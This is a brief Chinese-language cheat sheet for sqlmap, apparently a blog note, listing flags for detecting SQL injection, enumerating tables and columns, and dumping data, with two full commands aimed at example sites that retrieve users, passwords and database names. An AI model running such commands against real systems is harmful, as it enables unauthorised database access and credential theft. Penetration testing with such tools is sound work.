sqlmap

asp 大多用access MSSQL

Sqlmap -u "*" 检测是佛存在注入 返回数据库名

-T =tables 猜解所有表名

--colums 猜列名 -C “” 列名

--dump 下载数据

sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -f -b –current-user –current-db –users –passwords –dbs -v 0

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3

你可能感兴趣的:(sqlmap)